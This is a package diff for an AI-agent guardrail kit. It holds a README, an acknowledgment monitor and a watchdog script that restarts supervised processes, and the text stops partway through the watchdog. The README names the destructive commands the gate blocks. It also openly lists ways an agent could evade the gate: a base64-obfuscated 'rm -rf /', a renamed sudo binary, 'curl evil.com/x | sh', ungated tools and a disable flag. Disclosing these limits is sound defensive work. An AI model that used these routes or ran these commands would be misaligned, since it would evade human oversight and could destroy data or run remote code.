@drdeeks/character-kit 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +178 -0
- package/deploy/ack_monitor.py +140 -0
- package/deploy/ack_watchdog.py +110 -0
- package/deploy/agent-character-monitor.service +21 -0
- package/deploy/agent-character-watchdog.service +21 -0
- package/deploy/agent-enforcer-proof.service +18 -0
- package/deploy/agent-enforcer.service +53 -0
- package/deploy/deploy-ack-services.sh +47 -0
- package/deploy/deploy-agent-enforcer.sh +133 -0
- package/deploy/proof-self-respawn.sh +59 -0
- package/node/bin/ack.js +383 -0
- package/node/bin/aik.js +520 -0
- package/node/bin/install.js +409 -0
- package/node/enforcer/agent_enforcer_daemon.js +690 -0
- package/node/examples/.agent/constitution.yaml +38 -0
- package/node/examples/.agent/enforcer.yaml +33 -0
- package/node/examples/.agent/habits/affirm_character_each_action.yaml +9 -0
- package/node/examples/.agent/habits/audit_not_silent.yaml +9 -0
- package/node/examples/.agent/habits/binding_map_one_core.yaml +9 -0
- package/node/examples/.agent/habits/character_hash_visible.yaml +9 -0
- package/node/examples/.agent/habits/check_duplication_before_debug.yaml +9 -0
- package/node/examples/.agent/habits/complete-thoroughly.yaml +16 -0
- package/node/examples/.agent/habits/consistent-info-across-files.yaml +18 -0
- package/node/examples/.agent/habits/document-for-next-agent.yaml +15 -0
- package/node/examples/.agent/habits/documented_rollback.yaml +9 -0
- package/node/examples/.agent/habits/drift_signal_detection.yaml +9 -0
- package/node/examples/.agent/habits/due-diligence.yaml +16 -0
- package/node/examples/.agent/habits/enterprise-grade-modular.yaml +16 -0
- package/node/examples/.agent/habits/fail_closed_tamper_evident.yaml +9 -0
- package/node/examples/.agent/habits/forever_one_idea.yaml +9 -0
- package/node/examples/.agent/habits/graceful_degradation.yaml +9 -0
- package/node/examples/.agent/habits/idempotent_operations.yaml +9 -0
- package/node/examples/.agent/habits/interactive-no-stalls.yaml +16 -0
- package/node/examples/.agent/habits/layered_not_rewritten.yaml +9 -0
- package/node/examples/.agent/habits/lossless_consolidation.yaml +9 -0
- package/node/examples/.agent/habits/no-credential-leak.yaml +41 -0
- package/node/examples/.agent/habits/no-deception.yaml +14 -0
- package/node/examples/.agent/habits/no_hold_narration.yaml +9 -0
- package/node/examples/.agent/habits/one_concern_per_file.yaml +9 -0
- package/node/examples/.agent/habits/optimized-robust.yaml +16 -0
- package/node/examples/.agent/habits/registered_plugin_not_string.yaml +9 -0
- package/node/examples/.agent/habits/rename_as_layer_op.yaml +9 -0
- package/node/examples/.agent/habits/resolve-root-cause.yaml +15 -0
- package/node/examples/.agent/habits/rigorous-commits-no-push.yaml +18 -0
- package/node/examples/.agent/habits/safe-deletion-via-trash.yaml +20 -0
- package/node/examples/.agent/habits/safe_file_permissions.yaml +9 -0
- package/node/examples/.agent/habits/self-healing-portability.yaml +14 -0
- package/node/examples/.agent/habits/shippable-pride.yaml +15 -0
- package/node/examples/.agent/habits/single_source_of_truth.yaml +9 -0
- package/node/examples/.agent/habits/test_of_forever.yaml +9 -0
- package/node/examples/.agent/habits/timeout_and_retry.yaml +9 -0
- package/node/examples/.agent/habits/track_defects_openly.yaml +9 -0
- package/node/examples/.agent/habits/validate-against-real-source.yaml +14 -0
- package/node/examples/.agent/habits/verify-against-docs.yaml +15 -0
- package/node/examples/.agent/habits/verify-functionality-not-syntax.yaml +15 -0
- package/node/examples/.agent/habits/versioning-discipline.yaml +18 -0
- package/node/package.json +53 -0
- package/node/src/enforcer/client.js +149 -0
- package/node/src/hooks/character.js +286 -0
- package/node/src/index.js +24 -0
- package/node/src/knowledge/indexer.js +486 -0
- package/node/src/knowledge/semantic.js +154 -0
- package/node/src/memory/index.js +355 -0
- package/node/tests/character.test.js +80 -0
- package/node/tests/habit-create.test.js +67 -0
- package/node/tests/habits-default.test.js +68 -0
- package/node/tests/install-chain.test.js +19 -0
- package/node/tests/install.test.js +104 -0
- package/package.json +65 -0
- package/python/agent_character_kit/__init__.py +388 -0
- package/python/agent_character_kit/__main__.py +333 -0
- package/python/agent_character_kit/_yaml.py +33 -0
- package/python/agent_character_kit/enforcer.py +379 -0
- package/python/agent_character_kit/memory.py +257 -0
- package/python/agent_character_kit/semantic.py +126 -0
- package/python/example_workspace/.agent/habits/affirm_character_each_action.yaml +9 -0
- package/python/example_workspace/.agent/habits/audit_not_silent.yaml +9 -0
- package/python/example_workspace/.agent/habits/binding_map_one_core.yaml +9 -0
- package/python/example_workspace/.agent/habits/character_hash_visible.yaml +9 -0
- package/python/example_workspace/.agent/habits/check_duplication_before_debug.yaml +9 -0
- package/python/example_workspace/.agent/habits/complete-thoroughly.yaml +16 -0
- package/python/example_workspace/.agent/habits/consistent-info-across-files.yaml +18 -0
- package/python/example_workspace/.agent/habits/document-for-next-agent.yaml +15 -0
- package/python/example_workspace/.agent/habits/documented_rollback.yaml +9 -0
- package/python/example_workspace/.agent/habits/drift_signal_detection.yaml +9 -0
- package/python/example_workspace/.agent/habits/due-diligence.yaml +16 -0
- package/python/example_workspace/.agent/habits/enterprise-grade-modular.yaml +16 -0
- package/python/example_workspace/.agent/habits/fail_closed_tamper_evident.yaml +9 -0
- package/python/example_workspace/.agent/habits/forever_one_idea.yaml +9 -0
- package/python/example_workspace/.agent/habits/graceful_degradation.yaml +9 -0
- package/python/example_workspace/.agent/habits/idempotent_operations.yaml +9 -0
- package/python/example_workspace/.agent/habits/interactive-no-stalls.yaml +16 -0
- package/python/example_workspace/.agent/habits/layered_not_rewritten.yaml +9 -0
- package/python/example_workspace/.agent/habits/lossless_consolidation.yaml +9 -0
- package/python/example_workspace/.agent/habits/no-credential-leak.yaml +41 -0
- package/python/example_workspace/.agent/habits/no-deception.yaml +14 -0
- package/python/example_workspace/.agent/habits/no_hold_narration.yaml +9 -0
- package/python/example_workspace/.agent/habits/one_concern_per_file.yaml +9 -0
- package/python/example_workspace/.agent/habits/optimized-robust.yaml +16 -0
- package/python/example_workspace/.agent/habits/registered_plugin_not_string.yaml +9 -0
- package/python/example_workspace/.agent/habits/rename_as_layer_op.yaml +9 -0
- package/python/example_workspace/.agent/habits/resolve-root-cause.yaml +15 -0
- package/python/example_workspace/.agent/habits/rigorous-commits-no-push.yaml +18 -0
- package/python/example_workspace/.agent/habits/safe-deletion-via-trash.yaml +20 -0
- package/python/example_workspace/.agent/habits/safe_file_permissions.yaml +9 -0
- package/python/example_workspace/.agent/habits/self-healing-portability.yaml +14 -0
- package/python/example_workspace/.agent/habits/shippable-pride.yaml +15 -0
- package/python/example_workspace/.agent/habits/single_source_of_truth.yaml +9 -0
- package/python/example_workspace/.agent/habits/test_of_forever.yaml +9 -0
- package/python/example_workspace/.agent/habits/timeout_and_retry.yaml +9 -0
- package/python/example_workspace/.agent/habits/track_defects_openly.yaml +9 -0
- package/python/example_workspace/.agent/habits/validate-against-real-source.yaml +14 -0
- package/python/example_workspace/.agent/habits/verify-against-docs.yaml +15 -0
- package/python/example_workspace/.agent/habits/verify-functionality-not-syntax.yaml +15 -0
- package/python/example_workspace/.agent/habits/versioning-discipline.yaml +18 -0
- package/python/hermes_plugin/README.md +63 -0
- package/python/hermes_plugin/__init__.py +367 -0
- package/python/hermes_plugin/config.yaml +20 -0
- package/python/hermes_plugin/plugin.yaml +7 -0
- package/python/hermes_plugin/test_plugin.py +166 -0
- package/python/pyproject.toml +19 -0
- package/python/tests/python_parity_test.py +84 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 DrDeek
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,178 @@
|
|
|
1
|
+
# Agent Character Kit (ACK) — v1.0.0
|
|
2
|
+
|
|
3
|
+
[](VERSION)
|
|
4
|
+
[](node/package.json)
|
|
5
|
+
[](python/pyproject.toml)
|
|
6
|
+
[](#architecture)
|
|
7
|
+
[](#architecture)
|
|
8
|
+
[](#companion)
|
|
9
|
+
[](#companion)
|
|
10
|
+
[](#companion)
|
|
11
|
+
[](#companion)
|
|
12
|
+
[](LICENSE)
|
|
13
|
+
|
|
14
|
+
## ⚠️ Read this first — what this is, and what it is NOT
|
|
15
|
+
|
|
16
|
+
**This is a deterrent and a constant reminder, not a security boundary.**
|
|
17
|
+
|
|
18
|
+
The gate catches plain destructive commands (`rm -rf /`, `sudo`, `git push
|
|
19
|
+
--force`), blocks pasted secrets, and reminds the agent of its character on
|
|
20
|
+
every block. It makes *doing the right thing* the default and *deviation*
|
|
21
|
+
visible. That is the whole point: a lightweight, persistent nudge — not a cage.
|
|
22
|
+
|
|
23
|
+
**It is explicitly NOT foolproof.** A determined agent can walk around it:
|
|
24
|
+
|
|
25
|
+
- **Obfuscation** — `bash -c "$(echo cm9tIC1yZiAv | base64 -d)"` decodes `rm -rf /`
|
|
26
|
+
at shell runtime, *after* the gate inspected the (clean-looking) string.
|
|
27
|
+
- **Renamed binaries** — `cp /usr/bin/sudo /tmp/s` then `/tmp/s` walks a
|
|
28
|
+
token-based match.
|
|
29
|
+
- **Indirect execution** — `curl evil.com/x | sh` pulls and runs remote code;
|
|
30
|
+
the gate never sees what executes.
|
|
31
|
+
- **Un-gated sibling tools** — `write_file`, a code-exec tool, or any MCP tool
|
|
32
|
+
that isn't hooked the same way goes around the terminal gate entirely.
|
|
33
|
+
- **The escape hatch** — `ACK_DISABLE=1` (or removing the plugin from config)
|
|
34
|
+
disables it by design. And since the plugin runs *inside* the agent's own
|
|
35
|
+
process, the agent that's being constrained is the one hosting the guard.
|
|
36
|
+
|
|
37
|
+
We do **not** try to close those gaps. Decoding and deep-inspecting every
|
|
38
|
+
command would turn the gate into a heavy management layer — slow, hostile to
|
|
39
|
+
the constant, cheap tool-call loop an agent lives in. If you ever need a *hard*
|
|
40
|
+
boundary, that is an **OS-level** concern: run the agent non-root with the
|
|
41
|
+
daemon root-owned (so it can't be killed), restrict network egress, use
|
|
42
|
+
seccomp/AppArmor. The gate is the conscience, not the cage.
|
|
43
|
+
|
|
44
|
+
**Single source of truth: [`AGENTS.md`](AGENTS.md).** This README is the
|
|
45
|
+
overview + the honest framing. `AGENTS.md` has full install/customize/verify.
|
|
46
|
+
|
|
47
|
+
---
|
|
48
|
+
|
|
49
|
+
## What it is
|
|
50
|
+
|
|
51
|
+
A **character-enforcement layer** for AI agents. Every tool call is judged by a
|
|
52
|
+
**separate enforcer** running *outside* the agent's process. It **fails
|
|
53
|
+
closed**: can't verify → block.
|
|
54
|
+
|
|
55
|
+
**Character ≠ identity.** This kit governs an agent's *character* — its inner
|
|
56
|
+
compass, its non-negotiable standards (a constitution + habits + policy). That
|
|
57
|
+
is NOT its *identity* (its self: soul.md, system prompt, agent.json). The kit
|
|
58
|
+
never touches who the agent is; it holds the agent to the bar it should meet
|
|
59
|
+
when no one is watching. (Repo name is a legacy label — read it as
|
|
60
|
+
"agent *character* kit.")
|
|
61
|
+
|
|
62
|
+
## Architecture
|
|
63
|
+
|
|
64
|
+
- **CORE — the enforcer daemon** (`node/enforcer/agent_enforcer_daemon.js`): the
|
|
65
|
+
*only* enforcement engine. Plain Node, runs on every OS. Embeds a default
|
|
66
|
+
character so it works with **zero config files**; config on disk overrides
|
|
67
|
+
(merges), never required. Transport auto-selects: Unix socket on POSIX, TCP on
|
|
68
|
+
Windows / cross-host.
|
|
69
|
+
- **COMPANION — thin clients** (hold no policy, ask the daemon, fail-closed):
|
|
70
|
+
- **Hermes plugin** (`python/hermes_plugin/`) — one example companion, for
|
|
71
|
+
agents that load Python plugins (`pre_tool_call` → daemon → allow/deny).
|
|
72
|
+
- **Generic `aik hook`** (`node/bin/aik.js hook --framework <name>`) — for
|
|
73
|
+
Claude / Cursor / Gemini / OpenCode / generic.
|
|
74
|
+
- Both are interchangeable thin clients. No harness is "the" way — pick the
|
|
75
|
+
companion that matches your agent's hook mechanism.
|
|
76
|
+
|
|
77
|
+
## Quick start (harness-agnostic)
|
|
78
|
+
|
|
79
|
+
```bash
|
|
80
|
+
git clone https://github.com/drdeeks/agent-character-kit.git
|
|
81
|
+
cd agent-character-kit && cd node && npm install && cd ..
|
|
82
|
+
|
|
83
|
+
# Interactive installer — wires daemon + companion + monitor + watchdog in one
|
|
84
|
+
# flow, prompts for workspace/socket/harness, and can create habits. Or:
|
|
85
|
+
node node/bin/install.js # interactive
|
|
86
|
+
node node/bin/install.js --yes # non-interactive, all components on
|
|
87
|
+
|
|
88
|
+
# (Optional) root-owned, system-wide, self-respawning:
|
|
89
|
+
# sudo bash deploy/deploy-agent-enforcer.sh
|
|
90
|
+
# sudo bash deploy/deploy-ack-services.sh
|
|
91
|
+
node node/bin/aik.js enforcer --status # version + character hash
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
The daemon is now enforcing. Wire a COMPANION (any harness) below — the
|
|
95
|
+
installer already dropped the Hermes plugin (or printed the `aik hook` command
|
|
96
|
+
for your harness) into place.
|
|
97
|
+
|
|
98
|
+
---
|
|
99
|
+
|
|
100
|
+
## Install a companion
|
|
101
|
+
|
|
102
|
+
### A. Hermes (Python-plugin companion)
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# 1) install the Python package into THE venv your agent runs from.
|
|
106
|
+
# Hermes does NOT use system python — plain `pip install -e .` will NOT reach it.
|
|
107
|
+
# Use uv (or the venv's own pip) pointed at the venv:
|
|
108
|
+
uv pip install --python "$(command -v hermes >/dev/null && dirname "$(dirname "$(readlink -f "$(which hermes)")")")/venv/bin/python" \
|
|
109
|
+
-e ./python
|
|
110
|
+
# (adjust the --python path to wherever your Hermes venv lives;
|
|
111
|
+
# e.g. ~/.hermes/hermes-agent/venv/bin/python)
|
|
112
|
+
|
|
113
|
+
# 2) drop the plugin in and enable it
|
|
114
|
+
mkdir -p ~/.hermes/plugins/agent-character-kit
|
|
115
|
+
cp -r python/hermes_plugin/* ~/.hermes/plugins/agent-character-kit/
|
|
116
|
+
hermes plugins enable agent-character-kit # grant tool-override (y) when asked
|
|
117
|
+
|
|
118
|
+
# 3) RESTART the Hermes process that runs your session (CLI or gateway).
|
|
119
|
+
# A running session will NOT pick up the new file. This restart is mandatory.
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
> **The venv gotcha (this is the #1 setup failure).** If the package isn't
|
|
123
|
+
> importable *in the venv the agent runs from*, the plugin can't reach the
|
|
124
|
+
> daemon and **fails closed on EVERYTHING** — even `ls` gets blocked with
|
|
125
|
+
> "enforcer unavailable." That looks like "the gate is broken" but it means the
|
|
126
|
+
> package simply isn't installed where Hermes looks. Install it into the venv
|
|
127
|
+
> (step 1 above) and restart.
|
|
128
|
+
|
|
129
|
+
### B. Claude / Cursor / Gemini / OpenCode (generic `aik hook`)
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
node node/bin/aik.js hook --framework claude --config # prints the hook JSON
|
|
133
|
+
# add it to the framework's hooks; it calls the daemon per tool call
|
|
134
|
+
# swap `claude` for cursor | gemini | opencode | generic as needed
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
---
|
|
138
|
+
|
|
139
|
+
## ✅ Sanity check — is it actually enforcing? (run this after install)
|
|
140
|
+
|
|
141
|
+
Don't trust "it's enabled." Verify. These four checks cover the failure modes
|
|
142
|
+
we've actually seen in the field:
|
|
143
|
+
|
|
144
|
+
| # | Check | Command | Expected | If wrong → means |
|
|
145
|
+
|---|-------|---------|----------|------------------|
|
|
146
|
+
| 1 | Daemon up | `systemctl is-active agent-enforcer` (or `node node/bin/aik.js enforcer --status`) | `active` / version+hash | Daemon not running → gate fails closed on everything |
|
|
147
|
+
| 2 | Package in venv | `uv pip show agent-character-kit` (or `<venv>/bin/python -c "import agent_character_kit"`) | shows the package | Missing → fails closed on ALL calls (the venv gotcha) |
|
|
148
|
+
| 3 | Allow path | run `ls` through the agent | executes | If blocked as "unavailable" → daemon unreachable OR package missing (1/2) |
|
|
149
|
+
| 4 | Block path | run `sudo ls` (or `rm -rf /`) through the agent | **blocked** with a reason | If it *executes* → plugin not loaded / stale / not restarted |
|
|
150
|
+
|
|
151
|
+
**Reading the results:**
|
|
152
|
+
- `ls` runs **and** `sudo` is blocked → ✅ enforcing. You're done.
|
|
153
|
+
- *Everything* blocked with "enforcer unavailable" → the plugin can't talk to
|
|
154
|
+
the daemon. Almost always #1 (daemon down) or #2 (package not in the venv).
|
|
155
|
+
Fix those, restart, re-check.
|
|
156
|
+
- `sudo` *executes* (not blocked) → the plugin isn't active in this session.
|
|
157
|
+
Either it wasn't enabled, the file is stale/corrupted, or the session wasn't
|
|
158
|
+
restarted after install. Re-copy the plugin, re-enable, restart, re-check.
|
|
159
|
+
|
|
160
|
+
**Stale-plugin trap:** if you edit the plugin source and copy it over, the
|
|
161
|
+
running session still uses the old in-memory version until you restart the
|
|
162
|
+
agent process. A "fix" that doesn't take effect after a restart means the
|
|
163
|
+
running process didn't reload — restart harder (kill the session PID, relaunch).
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## Why "fails closed"
|
|
168
|
+
|
|
169
|
+
If the daemon socket is unreachable, the companion blocks the call. A guard
|
|
170
|
+
that fails open is no guard. The only true failure mode is the daemon being
|
|
171
|
+
down — and the daemon is supervised (systemd / launchd / `supervise.py`) and
|
|
172
|
+
self-heals, so that window is seconds.
|
|
173
|
+
|
|
174
|
+
## Everything else
|
|
175
|
+
|
|
176
|
+
Customization, macOS/Windows install, the embedded default character, file map,
|
|
177
|
+
and version tracking all live in **[`AGENTS.md`](AGENTS.md)**. README is the
|
|
178
|
+
overview + the honest framing; `AGENTS.md` is the source of truth.
|
|
@@ -0,0 +1,140 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""ACK acknowledgment monitor (root-owned, separate process).
|
|
3
|
+
|
|
4
|
+
Watches the external ack log that the companion writes. For each entry it
|
|
5
|
+
validates the `Habit: <name> <resonates true | why: | because | …> <reason>`
|
|
6
|
+
statement and credits it to the DAEMON's hold ledger via the submit_ack RPC.
|
|
7
|
+
|
|
8
|
+
Why a separate root-owned process: the hold decision lives in the daemon, but
|
|
9
|
+
the daemon only learns about acknowledgments because something feeds it. That
|
|
10
|
+
"something" must not be killable by the agent user. Running as root, separate
|
|
11
|
+
from the agent, the monitor is exactly that independent verifier. The agent
|
|
12
|
+
cannot disable it without privilege escalation.
|
|
13
|
+
|
|
14
|
+
Self-healing: a companion watchdog (ack_watchdog.py) revives this process if
|
|
15
|
+
it dies.
|
|
16
|
+
"""
|
|
17
|
+
|
|
18
|
+
import json
|
|
19
|
+
import os
|
|
20
|
+
import socket
|
|
21
|
+
import time
|
|
22
|
+
import logging
|
|
23
|
+
from pathlib import Path
|
|
24
|
+
|
|
25
|
+
def _default_sock():
|
|
26
|
+
# First priority: explicit ENFORCER_SOCKET (set by systemd)
|
|
27
|
+
sock = os.environ.get("ENFORCER_SOCKET")
|
|
28
|
+
if sock:
|
|
29
|
+
return sock
|
|
30
|
+
# Second: AGENT_WORKSPACE-based
|
|
31
|
+
ws = os.environ.get("AGENT_WORKSPACE")
|
|
32
|
+
if ws:
|
|
33
|
+
return os.path.join(ws, ".agent", "enforcer.sock")
|
|
34
|
+
# Fallback: legacy path
|
|
35
|
+
return os.path.join(os.environ.get("HOME", "/root"), ".agent-character-kit",
|
|
36
|
+
"workspace", ".agent", "enforcer.sock")
|
|
37
|
+
|
|
38
|
+
SOCK = _default_sock()
|
|
39
|
+
ACK_LOG = os.environ.get("ACK_ACK_LOG", "/tmp/agent-character-kit-ack.jsonl")
|
|
40
|
+
PIDFILE = os.environ.get("ACK_MONITOR_PID", "/var/lib/agent-character-kit/ack-monitor.pid")
|
|
41
|
+
STATE = os.environ.get("ACK_MONITOR_STATE", "/var/lib/agent-character-kit/ack-monitor.pos")
|
|
42
|
+
|
|
43
|
+
logging.basicConfig(level=logging.INFO, format="%(asctime)s [ack-monitor] %(message)s")
|
|
44
|
+
log = logging.getLogger("ack-monitor")
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
def _rpc(method: str, params: dict):
|
|
48
|
+
"""Call a daemon RPC over the unix socket. Returns dict or None on failure."""
|
|
49
|
+
try:
|
|
50
|
+
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
|
51
|
+
s.settimeout(5)
|
|
52
|
+
s.connect(SOCK)
|
|
53
|
+
s.sendall((json.dumps({"method": method, "params": params}) + "\n").encode())
|
|
54
|
+
data = b""
|
|
55
|
+
while b"\n" not in data:
|
|
56
|
+
chunk = s.recv(4096)
|
|
57
|
+
if not chunk:
|
|
58
|
+
break
|
|
59
|
+
data += chunk
|
|
60
|
+
s.close()
|
|
61
|
+
return json.loads(data.decode().strip())
|
|
62
|
+
except Exception as exc: # daemon down / socket gone -> fail loud, don't credit
|
|
63
|
+
log.error("daemon rpc %s failed: %s", method, exc)
|
|
64
|
+
return None
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def _read_pos():
|
|
68
|
+
try:
|
|
69
|
+
p = Path(STATE)
|
|
70
|
+
if p.exists():
|
|
71
|
+
ino, off = p.read_text().split()
|
|
72
|
+
return int(ino), int(off)
|
|
73
|
+
except Exception:
|
|
74
|
+
pass
|
|
75
|
+
return None, 0
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
def _write_pos(ino: int, off: int):
|
|
79
|
+
try:
|
|
80
|
+
Path(STATE).write_text(f"{ino} {off}")
|
|
81
|
+
except Exception:
|
|
82
|
+
pass
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def _tail() -> None:
|
|
86
|
+
"""Process new lines appended to the ack log since last run."""
|
|
87
|
+
path = Path(ACK_LOG)
|
|
88
|
+
last_ino, off = _read_pos()
|
|
89
|
+
if not path.exists():
|
|
90
|
+
return
|
|
91
|
+
try:
|
|
92
|
+
st = path.stat()
|
|
93
|
+
except Exception:
|
|
94
|
+
return
|
|
95
|
+
# Log rotated (inode changed) -> re-read from start.
|
|
96
|
+
if last_ino != st.st_ino:
|
|
97
|
+
off = 0
|
|
98
|
+
try:
|
|
99
|
+
with path.open("r") as fh:
|
|
100
|
+
fh.seek(off)
|
|
101
|
+
for line in fh:
|
|
102
|
+
line = line.strip()
|
|
103
|
+
if not line:
|
|
104
|
+
continue
|
|
105
|
+
try:
|
|
106
|
+
entry = json.loads(line)
|
|
107
|
+
except Exception:
|
|
108
|
+
continue
|
|
109
|
+
statement = entry.get("statement")
|
|
110
|
+
session = entry.get("session_id", "default")
|
|
111
|
+
if not statement:
|
|
112
|
+
continue
|
|
113
|
+
res = _rpc("submit_ack", {"session_id": session, "statement": statement})
|
|
114
|
+
if res and res.get("ok"):
|
|
115
|
+
log.info("credited ack for %s (acked=%s)", session, res.get("acked"))
|
|
116
|
+
else:
|
|
117
|
+
log.warning("ack rejected for %s: %s", session, (res or {}).get("error"))
|
|
118
|
+
off = fh.tell()
|
|
119
|
+
except Exception as exc:
|
|
120
|
+
log.error("tail error: %s", exc)
|
|
121
|
+
return
|
|
122
|
+
_write_pos(st.st_ino, off)
|
|
123
|
+
|
|
124
|
+
|
|
125
|
+
def main() -> None:
|
|
126
|
+
try:
|
|
127
|
+
Path(PIDFILE).write_text(str(os.getpid()))
|
|
128
|
+
except Exception as exc:
|
|
129
|
+
log.warning("could not write pidfile %s: %s", PIDFILE, exc)
|
|
130
|
+
log.info("ack monitor started (sock=%s log=%s)", SOCK, ACK_LOG)
|
|
131
|
+
while True:
|
|
132
|
+
try:
|
|
133
|
+
_tail()
|
|
134
|
+
except Exception as exc:
|
|
135
|
+
log.error("unexpected: %s", exc)
|
|
136
|
+
time.sleep(1)
|
|
137
|
+
|
|
138
|
+
|
|
139
|
+
if __name__ == "__main__":
|
|
140
|
+
main()
|
|
@@ -0,0 +1,110 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""ACK monitor watchdog (root-owned, separate process).
|
|
3
|
+
|
|
4
|
+
Revives the acknowledgment monitor (ack_monitor.py) if it dies. This is the
|
|
5
|
+
self-healing layer: the monitor itself must not be a single point of failure,
|
|
6
|
+
so a second root-owned process watches it and restarts it.
|
|
7
|
+
|
|
8
|
+
Revival order: prefer `systemctl restart agent-character-monitor.service`
|
|
9
|
+
(idempotent, re-reads the unit). Fall back to a direct launch if systemctl is
|
|
10
|
+
unavailable (e.g. container without systemd).
|
|
11
|
+
"""
|
|
12
|
+
|
|
13
|
+
import os
|
|
14
|
+
import time
|
|
15
|
+
import logging
|
|
16
|
+
import subprocess
|
|
17
|
+
from pathlib import Path
|
|
18
|
+
|
|
19
|
+
_HOME = os.environ.get("HOME", "/root")
|
|
20
|
+
_ACK_HOME = os.path.join(_HOME, ".agent-character-kit")
|
|
21
|
+
|
|
22
|
+
PIDFILE = os.environ.get("ACK_MONITOR_PID", "/var/lib/agent-character-kit/ack-monitor.pid")
|
|
23
|
+
WATCHDOG_PID = os.environ.get("ACK_WATCHDOG_PID", "/var/lib/agent-character-kit/ack-watchdog.pid")
|
|
24
|
+
MONITOR_BIN = os.environ.get("ACK_MONITOR_BIN", "/usr/local/lib/agent-character-kit/ack_monitor.py")
|
|
25
|
+
MONITOR_UNIT = "agent-character-monitor.service"
|
|
26
|
+
ENFORCER_UNIT = "agent-enforcer.service"
|
|
27
|
+
INTERVAL = int(os.environ.get("ACK_WATCHDOG_INTERVAL", "5"))
|
|
28
|
+
|
|
29
|
+
logging.basicConfig(level=logging.INFO, format="%(asctime)s [ack-watchdog] %(message)s")
|
|
30
|
+
log = logging.getLogger("ack-watchdog")
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
def process_alive(pattern: str, unit_name: str = None, pidfile: str | None = None) -> bool:
|
|
34
|
+
"""Check if a process matching pattern is alive. Try pgrep first, fall back to pidfile."""
|
|
35
|
+
try:
|
|
36
|
+
out = subprocess.run(
|
|
37
|
+
["pgrep", "-af", pattern],
|
|
38
|
+
capture_output=True, text=True, timeout=5,
|
|
39
|
+
)
|
|
40
|
+
for line in out.stdout.splitlines():
|
|
41
|
+
if pattern in line and "grep" not in line:
|
|
42
|
+
return True
|
|
43
|
+
return False
|
|
44
|
+
except Exception:
|
|
45
|
+
pass
|
|
46
|
+
# Fallback: pidfile + kill(0)
|
|
47
|
+
if pidfile:
|
|
48
|
+
p = Path(pidfile)
|
|
49
|
+
if p.exists():
|
|
50
|
+
try:
|
|
51
|
+
pid = int(p.read_text().strip())
|
|
52
|
+
os.kill(pid, 0)
|
|
53
|
+
return True
|
|
54
|
+
except Exception:
|
|
55
|
+
pass
|
|
56
|
+
return False
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def monitor_alive() -> bool:
|
|
60
|
+
return process_alive("ack_monitor.py", MONITOR_UNIT, PIDFILE)
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
def enforcer_alive() -> bool:
|
|
64
|
+
return process_alive("agent_enforcer_daemon.js", ENFORCER_UNIT, None)
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def revive_monitor() -> None:
|
|
68
|
+
log.warning("monitor not alive -> restarting")
|
|
69
|
+
try:
|
|
70
|
+
subprocess.run(["systemctl", "restart", MONITOR_UNIT], check=False)
|
|
71
|
+
return
|
|
72
|
+
except Exception as exc:
|
|
73
|
+
log.error("systemctl restart monitor failed: %s", exc)
|
|
74
|
+
try:
|
|
75
|
+
subprocess.Popen(
|
|
76
|
+
["/usr/bin/python3", MONITOR_BIN],
|
|
77
|
+
env=dict(os.environ),
|
|
78
|
+
stdout=subprocess.DEVNULL,
|
|
79
|
+
stderr=subprocess.DEVNULL,
|
|
80
|
+
)
|
|
81
|
+
except Exception as exc:
|
|
82
|
+
log.error("direct monitor launch failed: %s", exc)
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def revive_enforcer() -> None:
|
|
86
|
+
log.warning("enforcer not alive -> restarting")
|
|
87
|
+
try:
|
|
88
|
+
subprocess.run(["systemctl", "restart", ENFORCER_UNIT], check=False)
|
|
89
|
+
return
|
|
90
|
+
except Exception as exc:
|
|
91
|
+
log.error("systemctl restart enforcer failed: %s", exc)
|
|
92
|
+
# No direct fallback for enforcer (it's a Node process managed by systemd)
|
|
93
|
+
|
|
94
|
+
|
|
95
|
+
def main() -> None:
|
|
96
|
+
try:
|
|
97
|
+
Path(WATCHDOG_PID).write_text(str(os.getpid()))
|
|
98
|
+
